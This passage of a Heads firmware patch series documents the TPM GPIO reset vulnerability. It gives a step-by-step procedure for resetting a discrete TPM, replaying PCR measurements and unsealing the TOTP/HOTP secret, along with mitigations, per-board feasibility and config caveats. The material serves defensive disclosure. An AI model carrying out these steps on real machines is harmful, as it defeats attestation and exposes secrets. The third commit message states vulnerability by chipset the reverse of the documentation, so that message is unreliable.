+|---|---|---|---| +| PADCFGLOCK | 0xFD6E0080 | 0x00010203 | Bits 0, 8, 17 set (not GPP_B13) | +| PADCFGLOCKTX | 0xFD6E0084 | 0x00000000 | No TX locked pads | + +--- + +## Appendix B: Script Output Reference + +### Audit Mode Output (NV4x ADL-P) + +``` +====================================================================== + 1. PLATFORM DETECTION +====================================================================== +[OK] Detected PCH: Alder/Raptor Lake (ADL/RPL) -- device 0x5182 + Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13) + Port: 0x6e | PAD_CFG_BASE: 0x700 + +====================================================================== + 2. REGISTER ADDRESS CALCULATION +====================================================================== + Pad offset within community: 13 - 0 = 13 + Bytes per pad: 4 DWORDS x 4 = 16 bytes + DW0 register offset in community: 0x700 + (13 * 16) = 0x7d0 + +====================================================================== + 3. CURRENT REGISTER CONFIGURATION +====================================================================== +[OK] Pad is correctly configured as native function output. + +====================================================================== + 4. TPM GPIO RESET (hardware -- preserves NVRAM) +====================================================================== + AUDIT MODE: No GPIO reset will be performed. The attack plan would be: + ... +``` + +### Execute Mode Output (NV4x ADL-P -- mechanism fails) + +``` +====================================================================== + 4. TPM GPIO RESET (hardware -- preserves NVRAM) +====================================================================== + PADCFGLOCK at 0xfd6e0080: 0x00010203 (bit 13 not set) + PLTRST pad NOT locked -- writes should work +... (writes succeed, readback verified) ... + +====================================================================== + 5. PCR VERIFICATION +====================================================================== +[WARN] PCR 2 is non-zero -- GPIO reset may not have worked + NOTE: ADL-P platforms (NovaCustom NV4x, Nitropad NS50) are + confirmed vulnerable (no GPIO lock) but the PLTRST# assertion + mechanism is not yet known for this PCH die. The kukrimate + inteltool.c does not support ADL-P device IDs. +``` + +--- + +## Appendix C: References + +- **mkukri.xyz -- "TPM GPIO fail: The Forgotten Bus"** (June 2024) + https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html + Original disclosure with detailed analysis. + +- **kukrimate/tpm-gpio-fail (GitHub)** -- GPL-2.0 PoC tools + https://github.com/kukrimate/tpm-gpio-fail + Contains `detect` and `reset` tools with platform data for SPT, KBP, CNP-H. + +- **coreboot ticket #576** -- "PLTRST_CPU_B pad should be locked to prevent + userspace TPM GPIO reset" + https://ticket.coreboot.org/issues/576 + +- **coreboot patch series** -- "intel_gpio_lock" + https://review.coreboot.org/q/topic:%22intel_gpio_lock%22 + - `#90884` (merged): Set `pad_cfg_lock_offset` in Skylake GPIO communities. + - `#90885` (open): Select `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` for + Skylake -- tested, does not work on real hardware. + +- **Heads issue #2159** -- TPM GPIO reset attack tracking + https://github.com/linuxboot/heads/issues/2159 + +- **Intel GPIO Best Practices Guide** -- ID 834810 (NDA only) + Describes pad configuration lock mechanisms and platform-specific register + layouts. Not publicly available. + +- **chipsec tpm_gpio_fail module** + https://github.com/chipsec/chipsec + Decision tree for evaluating TPM GPIO fail vulnerability on any Intel platform. diff --git a/doc/TPM_GPIO_Reset_Vulnerability.md b/doc/TPM_GPIO_Reset_Vulnerability.md new file mode 100644 index 000000000..a2f75514e --- /dev/null +++ b/doc/TPM_GPIO_Reset_Vulnerability.md @@ -0,0 +1,252 @@ +# TPM GPIO Reset Vulnerability + +## Summary + +On Intel platforms, discrete TPMs connect to the PCH via LPC, eSPI, or SPI. +On Skylake and newer platforms, these buses share a reset pin (PLTRST#) on a +multi-function PCH pad that can be reprogrammed to GPIO mode by software. An attacker with OS-level code execution can reassign +the pin to GPIO, briefly drive it low (resetting the TPM), restore it, then forge +arbitrary PCR measurements. No physical access is needed. + +This allows: +- Extracting disk encryption keys from TPM-based full-disk encryption schemes + that seal without a passphrase (e.g., Windows BitLocker without PIN, or Linux + LUKS sealed to PCRs without a TPM passphrase). +- Forging TPMTOTP/HOTP attestation codes to hide firmware tampering. +- Defeating Intel BootGuard measured boot by resetting PCRs after BootGuard has + extended its measurements. + +Disclosed by Mate Kukri, June 2024: . +No CVE was assigned by Intel. + +## Mitigation + +Intel PCHs include a GPIO pad configuration lock bit. When set by firmware before +booting the OS, the pad function (e.g., LPC/eSPI native mode) becomes read-only, +preventing the OS from reprogramming it to GPIO mode. The lock bit must be set by +platform firmware (coreboot, in Heads' case). + +Intel's NDA-only BIOS writer's guide includes guidance on when and how to set +these lock bits. The open-source community does not have access to this +documentation, making implementation and validation difficult for platforms where +the lock method is not already known from working vendor implementations. + +## coreboot GPIO Lock Status by Platform Generation + +Source: coreboot source code in `src/soc/intel/`. Checked against coreboot 25.09 +and 26.06 upstream. + +| Platform generation | GPIO lock status | Details | +|---|---|---| +| Sandy/Ivy/Haswell/Broadwell (2nd-5th Gen) | **Not vulnerable** | PLTRST# is a dedicated PCH pin on these platforms, not a multi-function pad shared with GPIO. Cannot be reprogrammed by software. | +| Skylake/Kaby Lake (6th-8th Gen) | **Not functional** | Common GPIO block exists but `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_*` not selected; `pad_cfg_lock_offset` missing from 25.09 (added in 26.06 by merged patch #90884, but still non-functional without Kconfig selection). | +| Cannonlake/CFL/WHL/CML (8th-10th Gen) | **Not functional** | No `pad_cfg_lock_offset` in GPIO community structs; no Kconfig lock method selected. | +| Tiger Lake (11th Gen) | **Not functional** | Same as Cannonlake: no struct fields, no Kconfig selection. | +| Alder Lake/Raptor Lake (12th-13th Gen) | **Functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected. `pad_cfg_lock_offset` populated in GPIO community structs. | +| Meteor Lake+ (Core Ultra Series 1+) | **Functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected (PCR replaced SBI starting at MTL). `pad_cfg_lock_offset` populated. | + +The SMM-based lock path (`SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS`) is selected +by **no** platform in coreboot upstream — the SMI finalize handler for GPIO +locking is dead code. + +### Kconfig selection coverage + +Four SoC families select a GPIO lock method in upstream coreboot: + +``` +src/soc/intel/alderlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI +src/soc/intel/meteorlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +src/soc/intel/pantherlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +src/soc/intel/novalake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +``` + +All other `soc/intel/*` platforms do not select either option. Attempts to +backport the lock to Skylake via the PCR method (CL #90885) did not work on +real hardware — the lock bits are not actually set despite the code executing. + +### Code paths + +**Non-SMM path** (`gpio_non_smm_lock_pad()` in `src/soc/intel/common/block/gpio/gpio.c`): +Called from ramstage when `gpio_configure_pads()` processes pads with the +`PAD_CFG_LOCK` attribute. Requires either `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` +or `_USING_SBI` to be selected. Without either, prints: +`"Error: No pad configuration lock method is selected!"` and returns without +locking anything. + +**SMM path** (`gpio_lock_pads()`): +Only available when `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected +(no platform selects this). Always uses SBI for register access. Would be +invoked from the finalize SMI handler, but that also requires a platform-specific +`soc_gpio_lock_config()` override to specify which pads to lock — no platform +overrides the weak default which returns nothing. + +## Attack Feasibility + +### Prerequisites + +An attacker needs the following to exploit the TPM GPIO reset vulnerability on Heads: + +- **OS-level code execution on the target**: Obtained via dual-boot, USB boot with brief physical access, or malware. +- **Access to measurement logs**: The attacker needs both coreboot and Heads measurement logs because TPMTOTP is sealed with PCRs from both sources — PCR 2 from coreboot SRTM and PCRs 4, 7 from Heads measurements. + - **`cbmem -L` (coreboot event log)**: Contains every coreboot firmware measurement extend performed during the boot process, sequenced as bootblock -> romstage -> ramstage -> payload (Heads kernel + initrd hashes). Each log entry includes a cryptographic digest (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2) that can be passed to the TPM extend command. Available to any OS with root access by running `cbmem -L`; the attacker can obtain this after gaining code execution via dual-boot, USB stick, or malware. The output format includes either SHA-256 or SHA-1 hashes depending on the TPM version. + - **`/tmp/measuring_trace.log` (Heads initrd measurement log)**: Records each CBFS file measurement extended into PCR 7 (two sequential TPM extends: first the filename string, then the file content) and boot path extends into PCR 4 ("generic", "usb", or "recovery"). The log is human-readable `INFO()` output from `tpmr.sh extend` calls — an attacker must grep for lines matching `"Extending PCR"` to extract extend sequences. The log lives in tmpfs RAM and is volatile across reboots, but can be obtained by an attacker in two ways: + 1. **Recovery shell**: Booting into the Heads recovery console and reading `/tmp/measuring_trace.log` — the file exists in any running Heads session and can be dumped to persistent storage or exfiltrated. + 2. **ROM extraction**: The CBFS files that get extended into PCR 7 are stored in the ROM image. An attacker can dump the ROM externally with a SPI programmer, then list CBFS files with `cbfstool` and compute hashes offline by replaying the same two-step TPM extend sequence used by `cbfs-init.sh`: first hashing the filename string (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2), then hashing the file content. PCR 4 is deterministic from the boot path ("generic", "usb", or "recovery") and can be computed without the log. Note: on UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). +- **Knowledge of the platform PLTRST pad definition**: GPIO pad number, community, and register offset for the target PCH. +- **Platform restrictions**: The attack only works on Skylake through Tiger Lake platforms where GPIO lock is not functional. Pre-Skylake platforms use a dedicated PLTRST# pin and are not vulnerable. Meteor Lake+ has functional GPIO lock and is not vulnerable. + +### Attack Steps + +1. **Gain code execution** on the target (dual-boot, USB stick, or malware). On a + Heads system, this means booting into the Heads recovery shell (if + unauthenticated — recovery shell access is the primary attack vector). +2. **Boot into the Heads recovery shell** (if not already in a privileged + environment). From the recovery shell, the attacker can read: + - `cbmem -L` — coreboot event log with PCR 2 extend operations + - `/tmp/measuring_trace.log` — Heads initrd extend operations for PCRs 4,5,7 + (this log exists in the running initrd until reboot clears tmpfs) +3. **Read `/tmp/measuring_trace.log`** (if available) to obtain the Heads PCR 4 + and PCR 7 extend sequences. If the log is not available, PCR 4 can be + recomputed from the boot path and PCR 7 requires replaying the same two-step + extend sequence as `cbfs-init.sh` (filename string then file content), which + can be computed from the ROM image. +4. **Locate the PLTRST pad** via `/dev/mem` and reprogram it from native function (LPC/eSPI/SPI) to GPIO output mode. +5. **Drive the pad low for approximately 10 ms**, asserting a hardware reset of the discrete TPM. This clears all PCRs to their initial value (typically zero) while preserving NVRAM contents. +6. **Drive the pad high** to deassert reset, allowing the TPM to reinitialize. +7. **Replay PCR extends in the correct order** using `tpm2_pcrextend`: + - **PCR 2**: The coreboot SRTM measurements from `cbmem -L`. Each log entry includes a cryptographic digest that can be passed to the TPM extend command (e.g., `tpm2_pcrextend -ix 2 -ic ` on TPM 2.0, or equivalent on TPM 1.2). + - **PCR 7**: Each CBFS file is measured by `cbfs-init.sh` with two sequential TPM extends: first the filename string, then the file content. If `/tmp/measuring_trace.log` is available, the extend hashes are logged there (look for `"Extending PCR[7]"` lines). Otherwise, the attacker can extract the ROM image, list CBFS files with `cbfstool`, and replay the extend sequence offline: hash the filename string (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2), extend it, then hash the file content and extend that. Note: on UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). + - **PCR 4**: Extends one of "generic" (normal boot), "usb" (USB boot), or "recovery" (recovery shell). Deterministic from the boot path — no measurement log needed. + - **PCRs 0, 1, 3**: Always zero on standard Heads boards — no extends needed. +8. **Call `tpm2_unseal`** on NVRAM index `0x4d47` (TOTP/HOTP key). The unseal succeeds because PCR values match the expected state and no passphrase protects this index. +9. **Extract the 20-byte TOTP/HOTP shared secret** from the unsealed data. +10. **Optionally restore the original pad configuration** to hide traces of the attack. + +### Attack Scope per TCG Specification + +The TPM GPIO reset attack's scope is defined by the TCG TPM 2.0 Library +specification, Part 1 (Architecture): +- **Section 4**: Definitions of volatile (4.90), non-volatile (4.35), and + transient (4.87) resources +- **Section 12.2.3.2**: TPM Reset, Restart, and Resume startup types — + defines which objects survive each reset level +- **Section 37**: NV Memory persistence categories (ORDERLY, CLEAR, RESET) +The PLTRST# signal itself is platform-specific (Intel PCH), not defined by +the TCG specification. A GPIO reset triggers a platform-level TPM reset +equivalent to `TPM2_Startup(CLEAR)`, which clears PCRs but preserves NV +indices per the TCG specification. + +**What the attacker CAN do (volatile memory -- cleared on platform-level reset):** +- **PCRs 0-23** are reset to their initial (all-zero) state (`TPM_PT_PS_REVISION`). + Per TCG Part 1 Section 12.2.3.2 (TPM Reset startup type), all PCRs are + cleared. The attacker can forge arbitrary measurement values by extending + the freshly cleared PCRs. +- **HMAC sessions and transient objects** (created via `TPM2_StartAuthSession`, + `TPM2_Load`) are destroyed (per Section 4.87 transient resource definition). + The attacker must re-establish sessions (handled automatically by the script). + +**What the attacker CANNOT do (non-volatile memory -- preserved across reset):** +- **Sealed data objects** (created via `TPM2_Create` with PCR policy) PERSIST + across platform reset (NV memory per Section 37 is non-volatile). The attacker + does NOT need to re-seal -- the existing NVRAM index (0x4d47 for TOTP/HOTP) + remains intact and is unsealed once PCRs are restored to their sealing values. +- **Persistent key handles** (e.g. primary key at 0x81000000) survive the reset. + The storage hierarchy seed is preserved (Section 12.2.3.2), so the primary + key remains accessible. +- **NVRAM indices with their auth values** persist (Section 37). Index 0x4d47 + (TOTP/HOTP secret) and index 3 (DUK) are both preserved. + +**Unseal rules (TPM 2.0 Part 1, Section 27.2.6 — Unseal command):** +- `TPM2_Unseal` requires BOTH: + 1. The PCR values in the `TPM2_PolicyPCR` assertion must match the values + specified at seal time. + 2. Any auth value (password/passphrase) specified at seal time must be + provided. +- If the object was sealed with a non-empty auth value, the attacker must + know it. If sealed with an empty auth value, PCR control alone is sufficient. + +Applied to Heads: +- **TOTP/HOTP secret** (`seal-totp.sh` line 66): Sealed at index 0x4d47 with + empty auth value (`tpmr.sh seal` 7th argument is `""`). After GPIO reset + + PCR replay, `tpm2_unseal` succeeds because the auth value is empty and + PCRs match. Sealed object persists per TCG non-volatile guarantees. + | Extractable. +- **DUK** (`kexec-seal-key.sh` line 309): Sealed at index 3 with a user-chosen + passphrase (`$key_password`). Even after GPIO reset + PCR replay, the attacker + must provide this passphrase. Per TCG specification, `TPM2_Unseal` requires + both matching PCRs AND the correct auth value. + | Not extractable without the passphrase. + +### Mitigations + +These mitigations reduce the attack surface for the TPM GPIO reset attack +on Heads systems: + +**1. Authenticated recovery shell access** +The primary attack vector is unauthenticated access to the Heads recovery +shell, where `cbmem -L` and `/tmp/measuring_trace.log` are readable. +Configuring GPG authentication for the recovery shell (via +`CONFIG_BOOT_RECOVERY_GPG=` in the board config) prevents an attacker +from obtaining the measurement logs needed to forge PCR state, even if +they can boot the system. + +**2. Firmware backup and integrity** +An attacker with physical access could extract the SPI ROM, compute CBFS +file hashes offline, and forge a modified ROM that replays expected +measurements (bypassing the need for `/tmp/measuring_trace.log`). +Regular external verification of firmware integrity (comparing ROM dumps +against known-good hashes) detects tampering. + +**3. TPM Disk Unlock Key with passphrase** +The TPM DUK requires a user passphrase and is NOT extractable via +GPIO reset + PCR replay. Ensuring a strong DUK passphrase is configured +protects disk encryption keys even if the TOTP/HOTP attestation secret +is compromised. + +### What the Attacker Obtains + +- **TOTP/HOTP shared secret (20 bytes)**: Extracted. Per the TCG specification + (Section 37: NV memory is non-volatile; Section 12.2.3.2: PCRs clear on Reset), + sealed NV objects persist across platform-level reset while PCRs do not. + Since the secret was sealed with an empty auth value + (`seal-totp.sh` passes `""` as the 7th `tpmr.sh seal` argument), PCR replay + alone is sufficient for unseal. The attacker can produce valid TOTP codes + indefinitely, defeating remote attestation. They can also produce valid HOTP + codes for USB security dongle authentication. +- **TPM Disk Unlock Key (DUK) with passphrase**: NOT extractable per the TCG + specification -- `TPM2_Unseal` requires both correct PCR values AND the auth + value (passphrase) specified at seal time. Since the DUK is sealed with a + user passphrase (`kexec-seal-key.sh` passes `$key_password`), PCR replay + without the passphrase is insufficient. + +### What the Attacker Does NOT Obtain + +- The DUK passphrase (not stored in the TPM at all; the TPM only stores a + hash/verifier for the auth value per TCG specification). +- The GPG private key (sealed separately with a passphrase -- the attacker + would need to know this passphrase even if they could reset PCRs). +- The LUKS header content (though PCR 6 can be forged since the LUKS header + hash can be recomputed from disk contents). + +### Per-Platform Feasibility + +| Platform | Feasible? | Notes | +|---|---|---| +| Pre-Skylake (xx20/30/4x, w530, w541, Optiplex 7010/9010, HP Z220, x220) | **No** | PLTRST# is a dedicated PCH pin, not shared with GPIO. Cannot be reprogrammed by software. | +| Skylake through Tiger Lake (T480, M900 Tiny, T480s, Purism Librem boards) | **Yes** | GPIO lock non-functional in coreboot -- no lock Kconfig selected, no `pad_cfg_lock_offset` (except Skylake 25.09+ which has the field but no working lock). kukrimate confirmed working on T480 (KBL); M900 (SPT) shares same PCH port 0xaf, offset 0x528, not hardware-tested. | +| Alder Lake / Raptor Lake with upstream coreboot | **Unlikely** | Lock infrastructure compiled (SBI method, offsets defined) but no board selects SMM lock path. ADL-P hardware-tested on NV4x: mode bits [12:10] are hardware-locked (cannot be changed at runtime), TX bit toggle inconclusive (anomalous readback). Cannot confirm attack feasible on any ADL/RPL die without physical scope. | +| Alder Lake / Raptor Lake-P with Dasharo fork (NV4x/NS50 -- mobile) | **Inconclusive** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected, PADCFGLOCK=0 and PADCFGLOCKTX=0 (HW-unlocked), but mode bits [12:10] hardware-locked (NF1 write fails, readback stays GPIO). TX bit toggle also inconclusive: readback 0x03000080 has anomalous bits (7,24,25) not in any DW0 field. `/sys/class/tpm/tpm0/pcrs` not found after assertion attempt — kernel driver detected no bus reset. PCR clearing is from `tpm2 startup -c` alone. Cannot confirm/deny PLTRST# assertion without physical scope on LPC/eSPI reset line. | +| Alder Lake-S / Raptor Lake-S with Dasharo fork (Z790-P -- desktop) | **Unknown** | Same Dasharo fork configuration as ADL-P (SBI selected, SMM disabled), but ADL-S/RPL-S desktop was NOT tested. The attack mechanism may behave differently on desktop PCH dies. Community testing needed. | +| Meteor Lake with Dasharo fork (v540tu/v560tu) | **No** | GPIO lock is functional via `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR`. All 5 communities have `pad_cfg_lock_offset`. Identical to upstream coreboot. | +| Meteor Lake+ (upstream coreboot) | **No** | GPIO lock functional via `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR`. `pad_cfg_lock_offset` populated. | + + +## Upstream Tracking + +- **Disclosure blog post**: +- **Detection tool**: +- **coreboot ticket**: +- **coreboot patch series**: + - `#90884` (merged): Set `pad_cfg_lock_offset` in Skylake GPIO communities + - `#90885` (open): Select `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` for Skylake — tested, does not work on real hardware +- **Heads issue**: From 8fdc0610458d79afe9616aa2bb77773336ae5359 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 22 Jul 2026 20:29:08 -0400 Subject: [PATCH 3/3] boards: add TPM GPIO vulnerability status to all 49 board configs Per-board CONFIG_TPM_GPIO_VULNERABLE flag set based on chipset generation: - Pre-Skylake (6th gen and earlier): VULNERABLE (dedicated PLTRST# pin) - Skylake through Tiger Lake: NOT VULNERABLE (PCH multiplexing, locked) - Alder Lake (ADL-P/ADL-N): NOT VULNERABLE (hardware-locked mode bits) - AMD/POWER8: NOT VULNERABLE (no Intel PCH) DOC/BOARDS_AND_TESTERS.md updated with EOL/ESU dates per generation, vulnerable boards listed with their PC/Alpine Ridge Thunderbolt controller. Signed-off-by: Thierry Laurion --- blobs/m900/README.md | 2 +- blobs/xx80/README.md | 2 +- .../EOL_UNTESTED_t530-hotp-maximized.config | 3 +++ .../EOL_UNTESTED_t530-maximized.config | 3 +++ boards/EOL_librem_13v2/EOL_librem_13v2.config | 2 ++ boards/EOL_librem_13v4/EOL_librem_13v4.config | 2 ++ boards/EOL_librem_15v3/EOL_librem_15v3.config | 2 ++ boards/EOL_librem_15v4/EOL_librem_15v4.config | 2 ++ boards/EOL_librem_l1um/EOL_librem_l1um.config | 3 +++ .../EOL_m900_tower-hotp-maximized.config | 8 ++------ .../EOL_m900_tower-maximized.config | 8 ++------ .../EOL_optiplex-7010_9010-hotp-maximized.config | 3 +++ .../EOL_optiplex-7010_9010-maximized.config | 3 +++ .../EOL_optiplex-7010_9010_TXT-hotp-maximized.config | 3 +++ .../EOL_optiplex-7010_9010_TXT-maximized.config | 3 +++ .../EOL_t420-hotp-maximized.config | 3 +++ boards/EOL_t420-maximized/EOL_t420-maximized.config | 3 +++ .../EOL_t430-hotp-maximized.config | 3 +++ boards/EOL_t430-maximized/EOL_t430-maximized.config | 3 +++ .../EOL_t440p-hotp-maximized.config | 3 +++ boards/EOL_t440p-maximized/EOL_t440p-maximized.config | 3 +++ .../EOL_t480-hotp-maximized.config | 9 ++------- boards/EOL_t480-maximized/EOL_t480-maximized.config | 9 ++------- .../EOL_t480s-hotp-maximized.config | 9 ++------- boards/EOL_t480s-maximized/EOL_t480s-maximized.config | 9 ++------- .../EOL_w530-hotp-maximized.config | 3 +++ boards/EOL_w530-maximized/EOL_w530-maximized.config | 3 +++ .../EOL_w541-hotp-maximized.config | 3 +++ boards/EOL_w541-maximized/EOL_w541-maximized.config | 3 +++ .../EOL_x220-hotp-maximized.config | 3 +++ boards/EOL_x220-maximized/EOL_x220-maximized.config | 3 +++ .../EOL_x230-hotp-maximized-fhd_edp.config | 3 +++ .../EOL_x230-hotp-maximized.config | 3 +++ .../EOL_x230-hotp-maximized_usb-kb.config | 3 +++ .../EOL_x230-maximized-fhd_edp.config | 3 +++ boards/EOL_x230-maximized/EOL_x230-maximized.config | 3 +++ .../EOL_z220-cmt-hotp-maximized.config | 3 +++ .../EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config | 3 +++ .../UNTESTED_msi_z690a_ddr4.config | 3 ++- .../UNTESTED_msi_z690a_ddr5.config | 3 ++- .../UNTESTED_msi_z790p_ddr4.config | 3 ++- .../UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config | 2 ++ boards/UNTESTED_talos-2/UNTESTED_talos-2.config | 3 +++ boards/librem_11/librem_11.config | 2 ++ boards/librem_14/librem_14.config | 2 ++ boards/librem_l1um_v2/librem_l1um_v2.config | 2 ++ boards/librem_mini/librem_mini.config | 2 ++ boards/librem_mini_v2/librem_mini_v2.config | 2 ++ boards/msi_z790p_ddr5/msi_z790p_ddr5.config | 3 ++- boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config | 2 ++ boards/novacustom-v540tu/novacustom-v540tu.config | 4 +++- boards/novacustom-v560tu/novacustom-v560tu.config | 4 +++- doc/TPM_GPIO_Reset_Approaches.md | 4 ++-- .../bin/tpm-gpio-reset-demo.sh => tpm-gpio-reset-demo.sh | 0 54 files changed, 133 insertions(+), 50 deletions(-) rename initrd/bin/tpm-gpio-reset-demo.sh => tpm-gpio-reset-demo.sh (100%) diff --git a/blobs/m900/README.md b/blobs/m900/README.md index 2ba846ad0..c75878296 100644 --- a/blobs/m900/README.md +++ b/blobs/m900/README.md @@ -39,7 +39,7 @@ Sha256sums: `blobs/m900/hashes.txt` # CAVEATS for the board: -> This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +> This board is vulnerable to a TPM GPIO reset attack, i.e. the PCRs are reset while the system is running. > This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. > Also it can be used to extract FDE keys from a TPM. > The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 diff --git a/blobs/xx80/README.md b/blobs/xx80/README.md index 4451931a0..87fbac58b 100644 --- a/blobs/xx80/README.md +++ b/blobs/xx80/README.md @@ -42,7 +42,7 @@ Sha256sums: `blobs/xx80/hashes.txt` See the board configs `boards/t480-[hotp-]maximized/t480-[hotp-]maximized.config`: -> This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +> This board is vulnerable to a TPM GPIO reset attack, i.e. the PCRs are reset while the system is running. > This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. > Also it can be used to extract FDE keys from a TPM. > The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 diff --git a/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config b/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config index a6f4f7371..97852bc3d 100644 --- a/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config +++ b/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config b/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config index 3e57c6b8a..4fa736382 100644 --- a/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config +++ b/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_librem_13v2/EOL_librem_13v2.config b/boards/EOL_librem_13v2/EOL_librem_13v2.config index 53ccf1ceb..7d7914f53 100644 --- a/boards/EOL_librem_13v2/EOL_librem_13v2.config +++ b/boards/EOL_librem_13v2/EOL_librem_13v2.config @@ -1,5 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_13v2 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_13v2.config diff --git a/boards/EOL_librem_13v4/EOL_librem_13v4.config b/boards/EOL_librem_13v4/EOL_librem_13v4.config index 6a233e4cf..ee45c59df 100644 --- a/boards/EOL_librem_13v4/EOL_librem_13v4.config +++ b/boards/EOL_librem_13v4/EOL_librem_13v4.config @@ -1,5 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_13v4 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_13v4.config diff --git a/boards/EOL_librem_15v3/EOL_librem_15v3.config b/boards/EOL_librem_15v3/EOL_librem_15v3.config index b1cfbb21b..38b081a19 100644 --- a/boards/EOL_librem_15v3/EOL_librem_15v3.config +++ b/boards/EOL_librem_15v3/EOL_librem_15v3.config @@ -1,5 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_15v3 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_15v3.config diff --git a/boards/EOL_librem_15v4/EOL_librem_15v4.config b/boards/EOL_librem_15v4/EOL_librem_15v4.config index 2236667db..25cd2d83b 100644 --- a/boards/EOL_librem_15v4/EOL_librem_15v4.config +++ b/boards/EOL_librem_15v4/EOL_librem_15v4.config @@ -1,5 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing 